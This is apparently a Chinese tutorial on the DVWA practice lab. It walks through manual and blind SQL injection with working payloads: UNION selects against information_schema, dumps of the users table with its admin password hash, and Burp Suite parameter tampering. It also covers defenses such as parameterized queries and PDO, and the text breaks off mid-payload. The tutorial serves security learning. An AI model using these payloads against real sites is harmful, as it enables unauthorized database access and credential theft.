DVWA | 您所在的位置:网站首页 › csp不小心点了不保存 › DVWA |
DVWA靶场漏洞学习及补充
1.SQL注入(SQL Injection)介绍 SQL注入详解结构化查询语言(Structured Query Language,SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。 SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限)。 即:注入产生的原因是后台服务器接收相关参数未经过滤直接带入数据库查询 手工注入(非盲注)的步骤。 1.判断是否存在注入,注入是字符型还是数字型 (字符型注入和数字型注入和的区别在于所查询的数据类型不同) 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 如何防御SQL注入代码层面: 1.对输入进行严格的转义和过滤 2.使用参数化(Parameterized)查询 1参数化查询(Parameterized Query或Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter)来给值,这个方法已被视为最有效可预防SQL注入攻击的攻击手法的防御方式。网络层面: 1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统) 2.云端防护(如阿里云盾) Low输入 查看源代码可知这一关对于表单输入ID没有进行任何过滤 1.测试是否含有SQL注入输入1 输入1’ and 1=1 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’ at line 1 注入点判断,如上图可知受到单引号闭合影响 把SQL语句后续语句全部注释掉不执行,在判断语句后加 # 或者 --+ 即可 其中--+中的+代表空格,但是我使用--+会报错,不如-- 空格 (当使用get方式传参的时候,–+就是YYDS了,#会被当作浏览器自身操作) `1’ and 1=1# 1' and 1=1--(后无空格)报错 1' and 1=1-- (后有空格) 1’ and 1=1--+(后有/无空格)报错 2.找字段找出注入点以及符号问题,然后通过1’ and 1=1 order by 1#判断字段(就是正常查询时可以显示用户的几条信息) 1’ and 1=1 order by 1# group by, order by 后面跟数字,指的是 select 后面选择的列(属性),1 代表第一个列(属性),依次类推。 1' and 1=1 order by 3# Unknown column ‘3’ in ‘order clause’ 3返回错误那么就有2个字段,2即为分界点 3.找注入点找出字段之后(找字段的作用是为了后续报错,看会有几个位置可以报错) 看哪个位置输出什么 1' union select 1,2# 1' union select 1,2,3# -1' union select 1,2# sql语句获取id = xx的数据,这里我们让id = -1,条件不成立,便不会显示多余的东西 使用union(联合)来加入第二个select语句 1,2便会按照列的的顺序依次列出 在MYSQL5.0以上版本中存在自带数据库information_schema,他是一个存储所有数据库名,表名,列名的数据库,相当于可以通过查询此库获得相应信息。(没有的话只能靠猜,暴力破解) information_schema.tables:记录所有表名信息的表 information_schema.columns:记录所有列名信息的表 table_name:表名 column_name:列名 table_schema:数据库名 user() 查看当前MySQL登录的用户名 database() 查看当前使用MySQL数据库名 version() 查看当前MySQL版本 4.找数据顺序首先是数据库名,表名,列名,之后是具体信息 -1' union select 1,database()# 符号“.”代表下一级 表名 -1' union select 1,table_name from information_schema.tables where table_schema='dvwa'# 1information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。 可以用group_concat把表名拼接起来 -1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'# 列名 -1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'# 当发现有重复列名时,因为有多个数据库的列名可能重复可以加一个判定table_schema=”dvwa” -1' union select 1, group_concat(column_name) from information_schema.columns where table_schema="dvwa" and table_name='users'# 查账号密码 -1' union select group_concat(user_id,first_name),group_concat(user,password) from users# 密码是通过MD5加密,解密后获得例如user_id为1的密码为password user_id first_name user password 1 admin admin 5f4dcc3b5aa765d61d8327deb882cf99 => password如果出现Illegal mix of collations for operation 'UNION'报错,可以用16进制来实现 1-1' union select group_concat(hex(user_id),hex(first_name)),group_concat(hex(user),hex(password)) from users# Medium这里不再让用户输入id,而是使用下拉框选择参数,但是可以使用burpsuite抓包修改post的参数 proxy-open brower(intercept off)-submit(intercept on)-抓包如下 修改id=1 or 1=1# 结果如下 然后如Low,操作如下 id=1 and 1=1 order by 3# =>Unknown column ‘3’ in ‘order clause’ id=1 union select 1,database()# => 当查询表名时出现如下错误 id=1 union select 1,table_name from information_schema.tables where table_schema='dvwa'# =>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘'dvwa'#’ at line 1 view resource看到如下PHP 123456789Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRF token机制的加入了进一步提高了安全性。 2. SQL盲注(SQL Injection(Blind))与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。 盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注 手工盲注的步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解当前数据库名 3.猜解数据库中的表名 4.猜解表中的字段名 5.猜解数据 Low结果只有两种显示 数字型注入如:select email from member where id=$id 如果输入1 or 1=1则为永真,即select email from member where id=1 or 1=1 字符型注入如:select email from member where id=’$id’ 如果输入1 or 1=1,即select email from member where id=’1 or 1=1,此时会报错 此时可以输入’ or 1=1 #,select email from member where id=’’ or 1=1 #’ 输入1’ and 1=1# 说明存在字符型的SQL盲注 2.猜解当前数据库名方法大概就是先判断长度,再通过缩小ascii码范围判断每个字符。 输入1' and length(database())=4# 说明数据库名长度为4。 然后采用二分法猜解数据库名 输入1’ and ascii(substr(database(),1,1))>97 # [substr substr,SQL数据库操作函数 substr(strings|express,m,[n]) m:从第m个字符开始截取;n:截取后字符串长度为n 显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值) 输入1’ and ascii(substr(database(),1,1)) |
今日新闻 |
推荐新闻 |
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 |